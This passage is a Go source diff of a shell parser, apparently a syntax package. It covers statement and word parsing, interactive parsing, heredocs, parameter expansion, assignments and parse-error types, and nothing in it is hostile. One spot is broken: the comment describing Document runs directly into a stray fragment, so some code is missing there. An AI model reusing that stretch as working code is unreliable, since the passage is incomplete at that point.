word can't be over four bytes in size") + } + if strings.ContainsAny(word, " \t\n\r") { + panic("stop word can't contain whitespace characters") + } + return func(p *Parser) { p.stopAt = []byte(word) } +} + +// NewParser allocates a new Parser and applies any number of options. +func NewParser(options ...ParserOption) *Parser { + p := &Parser{} + for _, opt := range options { + opt(p) + } + return p +} + +// Parse reads and parses a shell program with an optional name. It +// returns the parsed program if no issues were encountered. Otherwise, +// an error is returned. Reads from r are buffered. +// +// Parse can be called more than once, but not concurrently. That is, a +// Parser can be reused once it is done working. +func (p *Parser) Parse(r io.Reader, name string) (*File, error) { + p.reset() + p.f = &File{Name: name} + p.src = r + p.rune() + p.next() + p.f.Stmts, p.f.Last = p.stmtList() + if p.err == nil { + // EOF immediately after heredoc word so no newline to + // trigger it + p.doHeredocs() + } + return p.f, p.err +} + +// Stmts reads and parses statements one at a time, calling a function +// each time one is parsed. If the function returns false, parsing is +// stopped and the function is not called again. +func (p *Parser) Stmts(r io.Reader, fn func(*Stmt) bool) error { + p.reset() + p.f = &File{} + p.src = r + p.rune() + p.next() + p.stmts(fn) + if p.err == nil { + // EOF immediately after heredoc word so no newline to + // trigger it + p.doHeredocs() + } + return p.err +} + +type wrappedReader struct { + *Parser + io.Reader + + lastLine int + accumulated []*Stmt + fn func([]*Stmt) bool +} + +func (w *wrappedReader) Read(p []byte) (n int, err error) { + // If we lexed a newline for the first time, we just finished a line, so + // we may need to give a callback for the edge cases below not covered + // by Parser.Stmts. + if (w.r == '\n' || w.r == escNewl) && w.line > w.lastLine { + if w.Incomplete() { + // Incomplete statement; call back to print "> ". + if !w.fn(w.accumulated) { + return 0, io.EOF + } + } else if len(w.accumulated) == 0 { + // Nothing was parsed; call back to print another "$ ". + if !w.fn(nil) { + return 0, io.EOF + } + } + w.lastLine = w.line + } + return w.Reader.Read(p) +} + +// Interactive implements what is necessary to parse statements in an +// interactive shell. The parser will call the given function under two +// circumstances outlined below. +// +// If a line containing any number of statements is parsed, the function will be +// called with said statements. +// +// If a line ending in an incomplete statement is parsed, the function will be +// called with any fully parsed statements, and [Parser.Incomplete] will return true. +// +// One can imagine a simple interactive shell implementation as follows: +// +// fmt.Fprintf(os.Stdout, "$ ") +// parser.Interactive(os.Stdin, func(stmts []*syntax.Stmt) bool { +// if parser.Incomplete() { +// fmt.Fprintf(os.Stdout, "> ") +// return true +// } +// run(stmts) +// fmt.Fprintf(os.Stdout, "$ ") +// return true +// } +// +// If the callback function returns false, parsing is stopped and the function +// is not called again. +func (p *Parser) Interactive(r io.Reader, fn func([]*Stmt) bool) error { + w := wrappedReader{Parser: p, Reader: r, fn: fn} + return p.Stmts(&w, func(stmt *Stmt) bool { + w.accumulated = append(w.accumulated, stmt) + // We finished parsing a statement and we're at a newline token, + // so we finished fully parsing a number of statements. Call + // back to run the statements and print "$ ". + if p.tok == _Newl { + if !fn(w.accumulated) { + return false + } + w.accumulated = w.accumulated[:0] + // The callback above would already print "$ ", so we + // don't want the subsequent wrappedReader.Read to cause + // another "$ " print thinking that nothing was parsed. + w.lastLine = w.line + 1 + } + return true + }) +} + +// Words reads and parses words one at a time, calling a function each time one +// is parsed. If the function returns false, parsing is stopped and the function +// is not called again. +// +// Newlines are skipped, meaning that multi-line input will work fine. If the +// parser encounters a token that isn't a word, such as a semicolon, an error +// will be returned. +// +// Note that the lexer doesn't currently tokenize spaces, so it may need to read +// a non-space byte such as a newline or a letter before finishing the parsing +// of a word. This will be fixed in the future. +func (p *Parser) Words(r io.Reader, fn func(*Word) bool) error { + p.reset() + p.f = &File{} + p.src = r + p.rune() + p.next() + for { + p.got(_Newl) + w := p.getWord() + if w == nil { + if p.tok != _EOF { + p.curErr("%s is not a valid word", p.tok) + } + return p.err + } + if !fn(w) { + return nil + } + } +} + +// Document parses a single here-document word. That is, it parses the input as +// if they were lines following a < 0 || p.litBs != nil +} + +const bufSize = 1 << 10 + +func (p *Parser) reset() { + p.tok, p.val = illegalTok, "" + p.eqlOffs = 0 + p.bs, p.bsp = nil, 0 + p.offs, p.line, p.col = 0, 1, 1 + p.r, p.w = 0, 0 + p.err, p.readErr = nil, nil + p.quote, p.forbidNested = noState, false + p.openStmts = 0 + p.heredocs, p.buriedHdocs = p.heredocs[:0], 0 + p.parsingDoc = false + p.openBquotes, p.buriedBquotes = 0, 0 + p.accComs, p.curComs = nil, &p.accComs + p.litBatch = nil + p.wordBatch = nil + p.stmtBatch = nil + p.callBatch = nil +} + +func (p *Parser) nextPos() Pos { + // TODO: detect offset overflow while lexing as well. + var line, col uint + if !p.lineOverflow { + line = uint(p.line) + } + if !p.colOverflow { + col = uint(p.col) + } + return NewPos(uint(p.offs+p.bsp-p.w), line, col) +} + +func (p *Parser) lit(pos Pos, val string) *Lit { + if len(p.litBatch) == 0 { + p.litBatch = make([]Lit, 64) + } + l := &p.litBatch[0] + p.litBatch = p.litBatch[1:] + l.ValuePos = pos + l.ValueEnd = p.nextPos() + l.Value = val + return l +} + +type wordAlloc struct { + word Word + parts [1]WordPart +} + +func (p *Parser) wordAnyNumber() *Word { + if len(p.wordBatch) == 0 { + p.wordBatch = make([]wordAlloc, 32) + } + alloc := &p.wordBatch[0] + p.wordBatch = p.wordBatch[1:] + w := &alloc.word + w.Parts = p.wordParts(alloc.parts[:0]) + return w +} + +func (p *Parser) wordOne(part WordPart) *Word { + if len(p.wordBatch) == 0 { + p.wordBatch = make([]wordAlloc, 32) + } + alloc := &p.wordBatch[0] + p.wordBatch = p.wordBatch[1:] + w := &alloc.word + w.Parts = alloc.parts[:1] + w.Parts[0] = part + return w +} + +func (p *Parser) stmt(pos Pos) *Stmt { + if len(p.stmtBatch) == 0 { + p.stmtBatch = make([]Stmt, 32) + } + s := &p.stmtBatch[0] + p.stmtBatch = p.stmtBatch[1:] + s.Position = pos + return s +} + +type callAlloc struct { + ce CallExpr + ws [4]*Word +} + +func (p *Parser) call(w *Word) *CallExpr { + if len(p.callBatch) == 0 { + p.callBatch = make([]callAlloc, 32) + } + alloc := &p.callBatch[0] + p.callBatch = p.callBatch[1:] + ce := &alloc.ce + ce.Args = alloc.ws[:1] + ce.Args[0] = w + return ce +} + +//go:generate stringer -type=quoteState + +type quoteState uint32 + +const ( + noState quoteState = 1 << iota + subCmd + subCmdBckquo + dblQuotes + hdocWord + hdocBody + hdocBodyTabs + arithmExpr + arithmExprLet + arithmExprCmd + arithmExprBrack + testExpr + testExprRegexp + switchCase + paramExpName + paramExpSlice + paramExpRepl + paramExpExp + arrayElems + + allKeepSpaces = paramExpRepl | dblQuotes | hdocBody | + hdocBodyTabs | paramExpExp + allRegTokens = noState | subCmd | subCmdBckquo | hdocWord | + switchCase | arrayElems | testExpr + allArithmExpr = arithmExpr | arithmExprLet | arithmExprCmd | + arithmExprBrack | paramExpSlice + allParamReg = paramExpName | paramExpSlice + allParamExp = allParamReg | paramExpRepl | paramExpExp | arithmExprBrack +) + +type saveState struct { + quote quoteState + buriedHdocs int +} + +func (p *Parser) preNested(quote quoteState) (s saveState) { + s.quote, s.buriedHdocs = p.quote, p.buriedHdocs + p.buriedHdocs, p.quote = len(p.heredocs), quote + return +} + +func (p *Parser) postNested(s saveState) { + p.quote, p.buriedHdocs = s.quote, s.buriedHdocs +} + +func (p *Parser) unquotedWordBytes(w *Word) ([]byte, bool) { + buf := make([]byte, 0, 4) + didUnquote := false + for _, wp := range w.Parts { + buf, didUnquote = p.unquotedWordPart(buf, wp, false) + } + return buf, didUnquote +} + +func (p *Parser) unquotedWordPart(buf []byte, wp WordPart, quotes bool) (_ []byte, quoted bool) { + switch x := wp.(type) { + case *Lit: + for i := 0; i < len(x.Value); i++ { + if b := x.Value[i]; b == '\\' && !quotes { + if i++; i < len(x.Value) { + buf = append(buf, x.Value[i]) + } + quoted = true + } else { + buf = append(buf, b) + } + } + case *SglQuoted: + buf = append(buf, []byte(x.Value)...) + quoted = true + case *DblQuoted: + for _, wp2 := range x.Parts { + buf, _ = p.unquotedWordPart(buf, wp2, true) + } + quoted = true + } + return buf, quoted +} + +func (p *Parser) doHeredocs() { + hdocs := p.heredocs[p.buriedHdocs:] + if len(hdocs) == 0 { + // Nothing do do; don't even issue a read. + return + } + p.rune() // consume '\n', since we know p.tok == _Newl + old := p.quote + p.heredocs = p.heredocs[:p.buriedHdocs] + for i, r := range hdocs { + if p.err != nil { + break + } + p.quote = hdocBody + if r.Op == DashHdoc { + p.quote = hdocBodyTabs + } + stop, quoted := p.unquotedWordBytes(r.Word) + p.hdocStops = append(p.hdocStops, stop) + if i > 0 && p.r == '\n' { + p.rune() + } + lastLine := p.line + if quoted { + r.Hdoc = p.quotedHdocWord() + } else { + p.next() + r.Hdoc = p.getWord() + } + if r.Hdoc != nil { + lastLine = int(r.Hdoc.End().Line()) + } + if lastLine < p.line { + // TODO: It seems like this triggers more often than it + // should. Look into it. + l := p.lit(p.nextPos(), "") + if r.Hdoc == nil { + r.Hdoc = p.wordOne(l) + } else { + r.Hdoc.Parts = append(r.Hdoc.Parts, l) + } + } + if stop := p.hdocStops[len(p.hdocStops)-1]; stop != nil { + p.posErr(r.Pos(), "unclosed here-document '%s'", stop) + } + p.hdocStops = p.hdocStops[:len(p.hdocStops)-1] + } + p.quote = old +} + +func (p *Parser) got(tok token) bool { + if p.tok == tok { + p.next() + return true + } + return false +} + +func (p *Parser) gotRsrv(val string) (Pos, bool) { + pos := p.pos + if p.tok == _LitWord && p.val == val { + p.next() + return pos, true + } + return pos, false +} + +func readableStr(s string) string { + // don't quote tokens like & or } + if s != "" && s[0] >= 'a' && s[0] <= 'z' { + return strconv.Quote(s) + } + return s +} + +func (p *Parser) followErr(pos Pos, left, right string) { + leftStr := readableStr(left) + p.posErr(pos, "%s must be followed by %s", leftStr, right) +} + +func (p *Parser) followErrExp(pos Pos, left string) { + p.followErr(pos, left, "an expression") +} + +func (p *Parser) follow(lpos Pos, left string, tok token) { + if !p.got(tok) { + p.followErr(lpos, left, tok.String()) + } +} + +func (p *Parser) followRsrv(lpos Pos, left, val string) Pos { + pos, ok := p.gotRsrv(val) + if !ok { + p.followErr(lpos, left, fmt.Sprintf("%q", val)) + } + return pos +} + +func (p *Parser) followStmts(left string, lpos Pos, stops ...string) ([]*Stmt, []Comment) { + if p.got(semicolon) { + return nil, nil + } + newLine := p.got(_Newl) + stmts, last := p.stmtList(stops...) + if len(stmts) < 1 && !newLine { + p.followErr(lpos, left, "a statement list") + } + return stmts, last +} + +func (p *Parser) followWordTok(tok token, pos Pos) *Word { + w := p.getWord() + if w == nil { + p.followErr(pos, tok.String(), "a word") + } + return w +} + +func (p *Parser) stmtEnd(n Node, start, end string) Pos { + pos, ok := p.gotRsrv(end) + if !ok { + p.posErr(n.Pos(), "%s statement must end with %q", start, end) + } + return pos +} + +func (p *Parser) quoteErr(lpos Pos, quote token) { + p.posErr(lpos, "reached %s without closing quote %s", + p.tok.String(), quote) +} + +func (p *Parser) matchingErr(lpos Pos, left, right any) { + p.posErr(lpos, "reached %s without matching %s with %s", + p.tok.String(), left, right) +} + +func (p *Parser) matched(lpos Pos, left, right token) Pos { + pos := p.pos + if !p.got(right) { + p.matchingErr(lpos, left, right) + } + return pos +} + +func (p *Parser) errPass(err error) { + if p.err == nil { + p.err = err + p.bsp = len(p.bs) + 1 + p.r = utf8.RuneSelf + p.w = 1 + p.tok = _EOF + } +} + +// IsIncomplete reports whether a Parser error could have been avoided with +// extra input bytes. For example, if an [io.EOF] was encountered while there was +// an unclosed quote or parenthesis. +func IsIncomplete(err error) bool { + perr, ok := err.(ParseError) + return ok && perr.Incomplete +} + +// IsKeyword returns true if the given word is part of the language keywords. +func IsKeyword(word string) bool { + // This list has been copied from the bash 5.1 source code, file y.tab.c +4460 + switch word { + case + "!", + "[[", // only if COND_COMMAND is defined + "]]", // only if COND_COMMAND is defined + "case", + "coproc", // only if COPROCESS_SUPPORT is defined + "do", + "done", + "else", + "esac", + "fi", + "for", + "function", + "if", + "in", + "select", // only if SELECT_COMMAND is defined + "then", + "time", // only if COMMAND_TIMING is defined + "until", + "while", + "{", + "}": + return true + } + return false +} + +// ParseError represents an error found when parsing a source file, from which +// the parser cannot recover. +type ParseError struct { + Filename string + Pos Pos + Text string + + Incomplete bool +} + +func (e ParseError) Error() string { + if e.Filename == "" { + return fmt.Sprintf("%s: %s", e.Pos.String(), e.Text) + } + return fmt.Sprintf("%s:%s: %s", e.Filename, e.Pos.String(), e.Text) +} + +// LangError is returned when the parser encounters code that is only valid in +// other shell language variants. The error includes what feature is not present +// in the current language variant, and what languages support it. +type LangError struct { + Filename string + Pos Pos + Feature string + Langs []LangVariant +} + +func (e LangError) Error() string { + var buf bytes.Buffer + if e.Filename != "" { + buf.WriteString(e.Filename + ":") + } + buf.WriteString(e.Pos.String() + ": ") + buf.WriteString(e.Feature) + if strings.HasSuffix(e.Feature, "s") { + buf.WriteString(" are a ") + } else { + buf.WriteString(" is a ") + } + for i, lang := range e.Langs { + if i > 0 { + buf.WriteString("/") + } + buf.WriteString(lang.String()) + } + buf.WriteString(" feature") + return buf.String() +} + +func (p *Parser) posErr(pos Pos, format string, a ...any) { + p.errPass(ParseError{ + Filename: p.f.Name, + Pos: pos, + Text: fmt.Sprintf(format, a...), + Incomplete: p.tok == _EOF && p.Incomplete(), + }) +} + +func (p *Parser) curErr(format string, a ...any) { + p.posErr(p.pos, format, a...) +} + +func (p *Parser) langErr(pos Pos, feature string, langs ...LangVariant) { + p.errPass(LangError{ + Filename: p.f.Name, + Pos: pos, + Feature: feature, + Langs: langs, + }) +} + +func (p *Parser) stmts(fn func(*Stmt) bool, stops ...string) { + gotEnd := true +loop: + for p.tok != _EOF { + newLine := p.got(_Newl) + switch p.tok { + case _LitWord: + for _, stop := range stops { + if p.val == stop { + break loop + } + } + case rightParen: + if p.quote == subCmd { + break loop + } + case bckQuote: + if p.backquoteEnd() { + break loop + } + case dblSemicolon, semiAnd, dblSemiAnd, semiOr: + if p.quote == switchCase { + break loop + } + p.curErr("%s can only be used in a case clause", p.tok) + } + if !newLine && !gotEnd { + p.curErr("statements must be separated by &, ; or a newline") + } + if p.tok == _EOF { + break + } + p.openStmts++ + s := p.getStmt(true, false, false) + p.openStmts-- + if s == nil { + p.invalidStmtStart() + break + } + gotEnd = s.Semicolon.IsValid() + if !fn(s) { + break + } + } +} + +func (p *Parser) stmtList(stops ...string) ([]*Stmt, []Comment) { + var stmts []*Stmt + var last []Comment + fn := func(s *Stmt) bool { + stmts = append(stmts, s) + return true + } + p.stmts(fn, stops...) + split := len(p.accComs) + if p.tok == _LitWord && (p.val == "elif" || p.val == "else" || p.val == "fi") { + // Split the comments, so that any aligned with an opening token + // get attached to it. For example: + // + // if foo; then + // # inside the body + // # document the else + // else + // fi + // TODO(mvdan): look into deduplicating this with similar logic + // in caseItems. + for i := len(p.accComs) - 1; i >= 0; i-- { + c := p.accComs[i] + if c.Pos().Col() != p.pos.Col() { + break + } + split = i + } + } + if split > 0 { // keep last nil if empty + last = p.accComs[:split] + } + p.accComs = p.accComs[split:] + return stmts, last +} + +func (p *Parser) invalidStmtStart() { + switch p.tok { + case semicolon, and, or, andAnd, orOr: + p.curErr("%s can only immediately follow a statement", p.tok) + case rightParen: + p.curErr("%s can only be used to close a subshell", p.tok) + default: + p.curErr("%s is not a valid start for a statement", p.tok) + } +} + +func (p *Parser) getWord() *Word { + if w := p.wordAnyNumber(); len(w.Parts) > 0 && p.err == nil { + return w + } + return nil +} + +func (p *Parser) getLit() *Lit { + switch p.tok { + case _Lit, _LitWord, _LitRedir: + l := p.lit(p.pos, p.val) + p.next() + return l + } + return nil +} + +func (p *Parser) wordParts(wps []WordPart) []WordPart { + for { + n := p.wordPart() + if n == nil { + if len(wps) == 0 { + return nil // normalize empty lists into nil + } + return wps + } + wps = append(wps, n) + if p.spaced { + return wps + } + } +} + +func (p *Parser) ensureNoNested() { + if p.forbidNested { + p.curErr("expansions not allowed in heredoc words") + } +} + +func (p *Parser) wordPart() WordPart { + switch p.tok { + case _Lit, _LitWord, _LitRedir: + l := p.lit(p.pos, p.val) + p.next() + return l + case dollBrace: + p.ensureNoNested() + switch p.r { + case '|': + if p.lang != LangMirBSDKorn { + p.curErr(`"${|stmts;}" is a mksh feature`) + } + fallthrough + case ' ', '\t', '\n': + if p.lang != LangMirBSDKorn { + p.curErr(`"${ stmts;}" is a mksh feature`) + } + cs := &CmdSubst{ + Left: p.pos, + TempFile: p.r != '|', + ReplyVar: p.r == '|', + } + old := p.preNested(subCmd) + p.rune() // don't tokenize '|' + p.next() + cs.Stmts, cs.Last = p.stmtList("}") + p.postNested(old) + pos, ok := p.gotRsrv("}") + if !ok { + p.matchingErr(cs.Left, "${", "}") + } + cs.Right = pos + return cs + default: + return p.paramExp() + } + case dollDblParen, dollBrack: + p.ensureNoNested() + left := p.tok + ar := &ArithmExp{Left: p.pos, Bracket: left == dollBrack} + var old saveState + if ar.Bracket { + old = p.preNested(arithmExprBrack) + } else { + old = p.preNested(arithmExpr) + } + p.next() + if p.got(hash) { + if p.lang != LangMirBSDKorn { + p.langErr(ar.Pos(), "unsigned expressions", LangMirBSDKorn) + } + ar.Unsigned = true + } + ar.X = p.followArithm(left, ar.Left) + if ar.Bracket { + if p.tok != rightBrack { + p.arithmMatchingErr(ar.Left, dollBrack, rightBrack) + } + p.postNested(old) + ar.Right = p.pos + p.next() + } else { + ar.Right = p.arithmEnd(dollDblParen, ar.Left, old) + } + return ar + case dollParen: + p.ensureNoNested() + cs := &CmdSubst{Left: p.pos} + old := p.preNested(subCmd) + p.next() + cs.Stmts, cs.Last = p.stmtList() + p.postNested(old) + cs.Right = p.matched(cs.Left, leftParen, rightParen) + return cs + case dollar: + r := p.r + switch { + case singleRuneParam(r): + p.tok, p.val = _LitWord, string(r) + p.rune() + case 'a' <= r && r <= 'z', 'A' <= r && r <= 'Z', + '0' <= r && r <= '9', r == '_', r == '\\': + p.advanceNameCont(r) + default: + l := p.lit(p.pos, "$") + p.next() + return l + } + p.ensureNoNested() + pe := &ParamExp{Dollar: p.pos, Short: true} + p.pos = posAddCol(p.pos, 1) + pe.Param = p.getLit() + if pe.Param != nil && pe.Param.Value == "" { + l := p.lit(pe.Dollar, "$") + // e.g. "$\\\"" within double quotes, so we must + // keep the rest of the literal characters. + l.ValueEnd = posAddCol(l.ValuePos, 1) + return l + } + return pe + case cmdIn, cmdOut: + p.ensureNoNested() + ps := &ProcSubst{Op: ProcOperator(p.tok), OpPos: p.pos} + old := p.preNested(subCmd) + p.next() + ps.Stmts, ps.Last = p.stmtList() + p.postNested(old) + ps.Rparen = p.matched(ps.OpPos, token(ps.Op), rightParen) + return ps + case sglQuote, dollSglQuote: + sq := &SglQuoted{Left: p.pos, Dollar: p.tok == dollSglQuote} + r := p.r + for p.newLit(r); ; r = p.rune() { + switch r { + case '\\': + if sq.Dollar { + p.rune() + } + case '\'': + sq.Right = p.nextPos() + sq.Value = p.endLit() + + // restore openBquotes + p.openBquotes = p.buriedBquotes + p.buriedBquotes = 0 + + p.rune() + p.next() + return sq + case escNewl: + p.litBs = append(p.litBs, '\\', '\n') + case utf8.RuneSelf: + p.tok = _EOF + p.quoteErr(sq.Pos(), sglQuote) + return nil + } + } + case dblQuote, dollDblQuote: + if p.quote == dblQuotes { + // p.tok == dblQuote, as "foo$" puts $ in the lit + return nil + } + return p.dblQuoted() + case bckQuote: + if p.backquoteEnd() { + return nil + } + p.ensureNoNested() + cs := &CmdSubst{Left: p.pos, Backquotes: true} + old := p.preNested(subCmdBckquo) + p.openBquotes++ + + // The lexer didn't call p.rune for us, so that it could have + // the right p.openBquotes to properly handle backslashes. + p.rune() + + p.next() + cs.Stmts, cs.Last = p.stmtList() + if p.tok == bckQuote && p.lastBquoteEsc < p.openBquotes-1 { + // e.g. found ` before the nested backquote \` was closed. + p.tok = _EOF + p.quoteErr(cs.Pos(), bckQuote) + } + p.postNested(old) + p.openBquotes-- + cs.Right = p.pos + + // Like above, the lexer didn't call p.rune for us. + p.rune() + if !p.got(bckQuote) { + p.quoteErr(cs.Pos(), bckQuote) + } + return cs + case globQuest, globStar, globPlus, globAt, globExcl: + if p.lang == LangPOSIX { + p.langErr(p.pos, "extended globs", LangBash, LangMirBSDKorn) + } + eg := &ExtGlob{Op: GlobOperator(p.tok), OpPos: p.pos} + lparens := 1 + r := p.r + globLoop: + for p.newLit(r); ; r = p.rune() { + switch r { + case utf8.RuneSelf: + break globLoop + case '(': + lparens++ + case ')': + if lparens--; lparens == 0 { + break globLoop + } + } + } + eg.Pattern = p.lit(posAddCol(eg.OpPos, 2), p.endLit()) + p.rune() + p.next() + if lparens != 0 { + p.matchingErr(eg.OpPos, eg.Op, rightParen) + } + return eg + default: + return nil + } +} + +func (p *Parser) dblQuoted() *DblQuoted { + alloc := &struct { + quoted DblQuoted + parts [1]WordPart + }{ + quoted: DblQuoted{Left: p.pos, Dollar: p.tok == dollDblQuote}, + } + q := &alloc.quoted + old := p.quote + p.quote = dblQuotes + p.next() + q.Parts = p.wordParts(alloc.parts[:0]) + p.quote = old + q.Right = p.pos + if !p.got(dblQuote) { + p.quoteErr(q.Pos(), dblQuote) + } + return q +} + +func singleRuneParam(r rune) bool { + switch r { + case '@', '*', '#', '$', '?', '!', '-', + '0', '1', '2', '3', '4', '5', '6', '7', '8', '9': + return true + } + return false +} + +func (p *Parser) paramExp() *ParamExp { + pe := &ParamExp{Dollar: p.pos} + old := p.quote + p.quote = paramExpName + if p.r == '#' { + p.tok = hash + p.pos = p.nextPos() + p.rune() + } else { + p.next() + } + switch p.tok { + case hash: + if paramNameOp(p.r) { + pe.Length = true + p.next() + } + case perc: + if p.lang != LangMirBSDKorn { + p.posErr(pe.Pos(), `"${%%foo}" is a mksh feature`) + } + if paramNameOp(p.r) { + pe.Width = true + p.next() + } + case exclMark: + if paramNameOp(p.r) { + pe.Excl = true + p.next() + } + } + op := p.tok + switch p.tok { + case _Lit, _LitWord: + if !numberLiteral(p.val) && !ValidName(p.val) { + p.curErr("invalid parameter name") + } + pe.Param = p.lit(p.pos, p.val) + p.next() + case quest, minus: + if pe.Length && p.r != '}' { + // actually ${#-default}, not ${#-}; fix the ambiguity + pe.Length = false + pe.Param = p.lit(posAddCol(p.pos, -1), "#") + pe.Param.ValueEnd = p.pos + break + } + fallthrough + case at, star, hash, exclMark, dollar: + pe.Param = p.lit(p.pos, p.tok.String()) + p.next() + default: + p.curErr("parameter expansion requires a literal") + } + switch p.tok { + case _Lit, _LitWord: + p.curErr("%s cannot be followed by a word", op) + case rightBrace: + if pe.Excl && p.lang == LangPOSIX { + p.posErr(pe.Pos(), `"${!foo}" is a bash/mksh feature`) + } + pe.Rbrace = p.pos + p.quote = old + p.next() + return pe + case leftBrack: + if p.lang == LangPOSIX { + p.langErr(p.pos, "arrays", LangBash, LangMirBSDKorn) + } + if !ValidName(pe.Param.Value) { + p.curErr("cannot index a special parameter name") + } + pe.Index = p.eitherIndex() + } + if p.tok == rightBrace { + pe.Rbrace = p.pos + p.quote = old + p.next() + return pe + } + if p.tok != _EOF && (pe.Length || pe.Width) { + p.curErr("cannot combine multiple parameter expansion operators") + } + switch p.tok { + case slash, dblSlash: + // pattern search and replace + if p.lang == LangPOSIX { + p.langErr(p.pos, "search and replace", LangBash, LangMirBSDKorn) + } + pe.Repl = &Replace{All: p.tok == dblSlash} + p.quote = paramExpRepl + p.next() + pe.Repl.Orig = p.getWord() + p.quote = paramExpExp + if p.got(slash) { + pe.Repl.With = p.getWord() + } + case colon: + // slicing + if p.lang == LangPOSIX { + p.langErr(p.pos, "slicing", LangBash, LangMirBSDKorn) + } + pe.Slice = &Slice{} + colonPos := p.pos + p.quote = paramExpSlice + if p.next(); p.tok != colon { + pe.Slice.Offset = p.followArithm(colon, colonPos) + } + colonPos = p.pos + if p.got(colon) { + pe.Slice.Length = p.followArithm(colon, colonPos) + } + // Need to use a different matched style so arithm errors + // get reported correctly + p.quote = old + pe.Rbrace = p.pos + p.matchedArithm(pe.Dollar, dollBrace, rightBrace) + return pe + case caret, dblCaret, comma, dblComma: + // upper/lower case + if !p.lang.isBash() { + p.langErr(p.pos, "this expansion operator", LangBash) + } + pe.Exp = p.paramExpExp() + case at, star: + switch { + case p.tok == at && p.lang == LangPOSIX: + p.langErr(p.pos, "this expansion operator", LangBash, LangMirBSDKorn) + case p.tok == star && !pe.Excl: + p.curErr("not a valid parameter expansion operator: %v", p.tok) + case pe.Excl && p.r == '}': + if !p.lang.isBash() { + p.posErr(pe.Pos(), `"${!foo`+p.tok.String()+`}" is a bash feature`) + } + pe.Names = ParNamesOperator(p.tok) + p.next() + default: + pe.Exp = p.paramExpExp() + } + case plus, colPlus, minus, colMinus, quest, colQuest, assgn, colAssgn, + perc, dblPerc, hash, dblHash: + pe.Exp = p.paramExpExp() + case _EOF: + default: + p.curErr("not a valid parameter expansion operator: %v", p.tok) + } + p.quote = old + pe.Rbrace = p.pos + p.matched(pe.Dollar, dollBrace, rightBrace) + return pe +} + +func (p *Parser) paramExpExp() *Expansion { + op := ParExpOperator(p.tok) + p.quote = paramExpExp + p.next() + if op == OtherParamOps { + switch p.tok { + case _Lit, _LitWord: + default: + p.curErr("@ expansion operator requires a literal") + } + switch p.val { + case "a", "u", "A", "E", "K", "L", "P", "U": + if !p.lang.isBash() { + p.langErr(p.pos, "this expansion operator", LangBash) + } + case "#": + if p.lang != LangMirBSDKorn { + p.langErr(p.pos, "this expansion operator", LangMirBSDKorn) + } + case "Q": + default: + p.curErr("invalid @ expansion operator") + } + } + return &Expansion{Op: op, Word: p.getWord()} +} + +func (p *Parser) eitherIndex() ArithmExpr { + old := p.quote + lpos := p.pos + p.quote = arithmExprBrack + p.next() + if p.tok == star || p.tok == at { + p.tok, p.val = _LitWord, p.tok.String() + } + expr := p.followArithm(leftBrack, lpos) + p.quote = old + p.matchedArithm(lpos, leftBrack, rightBrack) + return expr +} + +func (p *Parser) stopToken() bool { + switch p.tok { + case _EOF, _Newl, semicolon, and, or, andAnd, orOr, orAnd, dblSemicolon, + semiAnd, dblSemiAnd, semiOr, rightParen: + return true + case bckQuote: + return p.backquoteEnd() + } + return false +} + +func (p *Parser) backquoteEnd() bool { + return p.lastBquoteEsc < p.openBquotes +} + +// ValidName returns whether val is a valid name as per the POSIX spec. +func ValidName(val string) bool { + if val == "" { + return false + } + for i, r := range val { + switch { + case 'a' <= r && r <= 'z': + case 'A' <= r && r <= 'Z': + case r == '_': + case i > 0 && '0' <= r && r <= '9': + default: + return false + } + } + return true +} + +func numberLiteral(val string) bool { + for _, r := range val { + if '0' > r || r > '9' { + return false + } + } + return true +} + +func (p *Parser) hasValidIdent() bool { + if p.tok != _Lit && p.tok != _LitWord { + return false + } + if end := p.eqlOffs; end > 0 { + if p.val[end-1] == '+' && p.lang != LangPOSIX { + end-- // a+=x + } + if ValidName(p.val[:end]) { + return true + } + } else if !ValidName(p.val) { + return false // *[i]=x + } + return p.r == '[' // a[i]=x +} + +func (p *Parser) getAssign(needEqual bool) *Assign { + as := &Assign{} + if p.eqlOffs > 0 { // foo=bar + nameEnd := p.eqlOffs + if p.lang != LangPOSIX && p.val[p.eqlOffs-1] == '+' { + // a+=b + as.Append = true + nameEnd-- + } + as.Name = p.lit(p.pos, p.val[:nameEnd]) + // since we're not using the entire p.val + as.Name.ValueEnd = posAddCol(as.Name.ValuePos, nameEnd) + left := p.lit(posAddCol(p.pos, 1), p.val[p.eqlOffs+1:]) + if left.Value != "" { + left.ValuePos = posAddCol(left.ValuePos, p.eqlOffs) + as.Value = p.wordOne(left) + } + p.next() + } else { // foo[x]=bar + as.Name = p.lit(p.pos, p.val) + // hasValidIdent already checks p.r is '[' + p.rune() + p.pos = posAddCol(p.pos, 1) + as.Index = p.eitherIndex() + if p.spaced || p.stopToken() { + if needEqual { + p.followErr(as.Pos(), "a[b]", "=") + } else { + as.Naked = true + return as + } + } + if len(p.val) > 0 && p.val[0] == '+' { + as.Append = true + p.val = p.val[1:] + p.pos = posAddCol(p.pos, 1) + } + if len(p.val) < 1 || p.val[0] != '=' { + if as.Append { + p.followErr(as.Pos(), "a[b]+", "=") + } else { + p.followErr(as.Pos(), "a[b]", "=") + } + return nil + } + p.pos = posAddCol(p.pos, 1) + p.val = p.val[1:] + if p.val == "" { + p.next() + } + } + if p.spaced || p.stopToken() { + return as + } + if as.Value == nil && p.tok == leftParen { + if p.lang == LangPOSIX { + p.langErr(p.pos, "arrays", LangBash, LangMirBSDKorn) + } + if as.Index != nil { + p.curErr("arrays cannot be nested") + } + as.Array = &ArrayExpr{Lparen: p.pos} + newQuote := p.quote + if p.lang.isBash() { + newQuote = arrayElems + } + old := p.preNested(newQuote) + p.next() + p.got(_Newl) + for p.tok != _EOF && p.tok != rightParen { + ae := &ArrayElem{} + ae.Comments, p.accComs = p.accComs, nil + if p.tok == leftBrack { + left := p.pos + ae.Index = p.eitherIndex() + p.follow(left, `"[x]"`, assgn) + } + if ae.Value = p.getWord(); ae.Value == nil { + switch p.tok { + case leftParen: + p.curErr("arrays cannot be nested") + return nil + case _Newl, rightParen, leftBrack: + // TODO: support [index]=[ + default: + p.curErr("array element values must be words") + return nil + } + } + if len(p.accComs) > 0 { + c := p.accComs[0] + if c.Pos().Line() == ae.End().Line() { + ae.Comments = append(ae.Comments, c) + p.accComs = p.accComs[1:] + } + } + as.Array.Elems = append(as.Array.Elems, ae) + p.got(_Newl) + } + as.Array.Last, p.accComs = p.accComs, nil + p.postNested(old) + as.Array.Rparen = p.matched(as.Array.Lparen, leftParen, rightParen) + } else if w := p.getWord(); w != nil { + if as.Value == nil { + as.Value = w + } else { + as.Value.Parts = append(as.Value.Parts, w.Parts...) + } + } + return as +} + +func (p *Parser) peekRedir() bool { + switch p.tok { + case 